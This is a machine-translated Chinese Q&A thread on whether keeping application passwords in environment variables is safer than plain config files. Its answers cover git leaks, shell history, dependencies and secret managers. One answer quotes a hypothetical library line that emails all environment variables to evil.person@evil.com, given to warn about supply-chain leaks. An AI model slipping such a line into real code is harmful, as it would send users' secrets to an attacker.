django 将密码作为环境变量(而不是纯文本)存储在配置文件中是否安全?

50few1ms  于 2023-05-30  发布在  Go
关注(0)|答案(9)|浏览(214)

我在rails,django(和一点php)的一些应用程序上工作,我开始在其中一些应用程序中做的事情之一是将数据库和其他密码作为环境变量而不是明文存储在某些配置文件中(或settings.py,对于django应用程序)。
在与我的一位合作者讨论这个问题时,他认为这是一种糟糕的做法--也许这并不像最初看起来那么安全。
所以,我想知道-这是一个安全的做法?将密码以纯文本形式存储在这些文件中是否更安全(当然,要确保不要将这些文件留在公共存储库或其他地方)?

1qczuiv0

1qczuiv01#

如前所述,一旦您的系统受到危害,这两种方法都不会提供任何额外的“安全”层。我认为支持环境变量的最大原因之一是版本控制:我见过太多的数据库配置等等。被意外地存储在版本控制系统中,比如GIT,让其他开发人员看到(哎呀!这也发生在我身上...)。
如果不将密码存储在文件中,则无法将其存储在版本控制系统中。

uqzxnwby

uqzxnwby2#

在更理论的层面上,我倾向于以以下方式考虑安全级别(以增加强度的顺序):

  • 没有保安纯文本。任何人只要知道去哪里找,就能得到数据。
  • 通过混淆实现安全性。您可以将数据(明文)存储在某个比较复杂的地方,比如环境变量,或者是一个看起来像配置文件的文件。攻击者最终会弄清楚发生了什么,或者偶然发现它。
  • 加密提供的安全性很容易被破解(想想凯撒密码!)).
  • 通过加密提供的安全性,可以通过一些努力来打破。
  • 由加密提供的安全性,在给定的当前硬件条件下无法破解。
  • 最安全的系统是没有人可以使用的系统!:)

环境变量比纯文本文件更安全,因为它们是易失性/一次性的,不保存;也就是说,如果你只设置了一个本地环境变量,比如“set pwd=whatever”,然后运行脚本,在脚本结束时退出命令shell,那么这个变量就不再存在了。你的案子福尔斯前两种,我得说这是相当不安全的。如果您打算这样做,我不建议您在您的内部网/家庭网络之外部署,并且仅用于测试目的。

7hiiyaii

7hiiyaii3#

任何时候你必须存储密码,这是不安全的。没有办法安全地存储未加密的密码。环境变量与配置文件是否更“安全”也许是有争议的。恕我直言,如果你的系统被入侵,它存储在哪里并不重要,一个勤奋的黑客可以追踪到它。

jobtbby3

jobtbby34#

很抱歉我没有足够的代表来评论,但我还想补充一点,如果你不小心,你的shell可能会在它的命令历史记录中捕获这个密码。因此,手动运行$ pwd=mypassword my_prog之类的东西并不像您希望的那样短暂。

zdwk9cvp

zdwk9cvp5#

我认为如果可能的话,你应该把你的凭证存储在一个gitignored文件中,而不是作为环境变量。
在ENV(环境)变量和文件中存储凭证时要考虑的一件事是,ENV变量可以很容易地被您使用的任何库或依赖项检查。
这可能是恶意的,也可能不是。例如,库作者可以通过电子邮件将堆栈跟踪和ENV变量发送给他们自己进行调试(这不是最佳实践,但也可以做到)。
如果你的证书在一个文件中,那么进入它们就困难得多。
具体来说,考虑一下node中的npm。对于一个npm来说,查看你的凭证是否在ENV中是一个简单的process.ENV问题。另一方面,如果它们在一个文件中,那就需要做更多的工作。
凭证文件是否受版本控制是另一个问题。不对凭证文件进行版本控制会将其暴露给更少的人。没有必要让所有开发人员都知道生产凭据。由于这符合最小特权原则,我建议git忽略你的凭证文件。

v2g6jxz6

v2g6jxz66#

这取决于您的威胁模型。
您是否在试图防止用户将密码散布在他们的文件系统中,而这些密码很可能会被遗忘或处理不当?如果是,那么是的,因为环境变量比文件持久性差。
您是否正在尝试防止直接针对您的程序的恶意软件?如果是,则否,因为环境变量不具有与文件相同的访问控制级别。
就我个人而言,我认为疏忽的用户比有动机的对手更常见,所以我会选择环境变量方法。

rseugnpd

rseugnpd7#

其中,使用环境变量存储机密的一个问题是它们可能会无意中泄露:

  • 向用户显示带有上下文(env变量)的原始错误消息的混乱代码
  • 监控工具捕获错误和上下文并发送/存储以供将来调查
  • 开发人员记录环境变量,将其持久化到磁盘(并可能持久化到某些日志处理工具,例如Logstash
  • 受损的依赖关系向攻击者发送所有它能到达的全局变量,包括env变量
  • 在shell历史中设置env变量leaving traces

存储在配置文件中的机密可能存在的问题:

  • 错误配置的文件权限允许访问随机操作系统用户
  • 开发人员将配置文件添加到版本控制
  • 故意的(不知道这是不好的)
  • 不小心即使文件被删除(可能是在PR审查期间),如果操作不当,它可能仍然存在于Git提交历史中。
  • 与您存储秘密的方式无关,如果您的系统受到损害,您就完蛋了。提取这些只是时间和精力的问题。*

那么,我们能做些什么来将风险降到最低呢?
不要以纯文本的形式存储/传递秘密。解决该问题的一种方法是使用外部(托管或自托管)秘密存储解决方案(例如,AWS Parameter Store、Azure Vault、Hashicorp Vault),并在运行时获取敏感数据(可能缓存在内存中)。通过这种方式,您的秘密在传输和静止时都被加密。

rsl1atfo

rsl1atfo8#

AFAICT,人们推荐将秘密存储在环境变量中有两个原因:
1.很容易无意中将秘密平面文件提交给存储库。(如果是公开回购,你就吐司了。)
1.它可以防止密码混乱,即在许多不同的项目目录文件中具有相同的密钥本身就是一种安全风险,因为开发人员最终会失去对秘密所在位置的跟踪。
这两个问题可以用更好的方式来解决。前者应该通过git commit钩子来解决,它可以检查看起来像密码的东西(例如,gitleaks)。我希望Linus在git库的源代码中构建这样一个工具,但是,唉,这没有发生。(不用说,应该始终将秘密文件添加到.gitignore中,但您需要一个钩子,以防有人忘记这样做。
后者可以通过拥有一个全球公司机密文件来解决,该文件理想地存储在只读共享驱动器上。所以,在Python中,你可以有像from company_secrets import *这样的东西。
更重要的是,正如其他人指出的那样,破解存储在环境变量中的秘密太容易了。例如,在Python中,库作者可以插入send_email(address="evil.person@evil.com", text=json.dumps(os.environ)),然后如果您执行此代码,您就吐司了。如果你的系统上有一个名为~/secret_company_stuff/.my_very_secret_company_stuff的文件,那么黑客攻击就更具挑战性了。
仅Django用户:
Django(在DEBUG模式下)在浏览器中显示环境变量的原始值,如果有异常(在DEBUG模式下)。例如,如果开发人员在生产环境中意外设置了DEBUG=True,这似乎非常不安全。相比之下,Django会通过在框架的settings.py文件的变量名中查找字符串APITOKENKEYSECRETPASSSIGNATURE来混淆密码设置变量。

niknxzdl

niknxzdl9#

到目前为止,所有的答案都有太多的假设,而没有足够的解决方案:在pass,unix密码管理器中存储密码:https://www.passwordstore.org/
我最近需要一种方法来为几个不同的部署存储对Loki的日志访问凭证。它们由三个变量组成:

LOKI_ADDR=https://loki.<environment>.domain
LOKI_USERNAME=<username>
LOKI_PASSWORD=<password>

我通常使用的技巧是将整个环境压缩到一个secret中,然后使用pass show <secret_name> | source命令加载它。这将用secret vars为当前会话涂油,然后我可以使用它来运行任何我需要的东西,然后关闭它以清除它们。
但为了使其更易于使用,我想基于一个命令使用不同的凭据调用logcli

#!/bin/bash
# loki <environment> <rest of logcli args>
# loki prod query '{app=+".+"}' --tail --no-labels

ENVNAME=$1
shift 1
env LOKI_USERNAME=<loki_username> LOKI_PASSWORD=$(pass show work/loki/$ENVNAME) LOKI_ADDR=https://loki.$ENVNAME.domain logcli "${@}"

结果是能够做到:

loki dev query '{app=+".+"}' --tail --no-labels

并让脚本从work/loki/dev secret读取loki密码。
只是顺便说一句,我没有提出任何关于增加安全性的要求。其他答案正确地指出了不明显的地方。

相关问题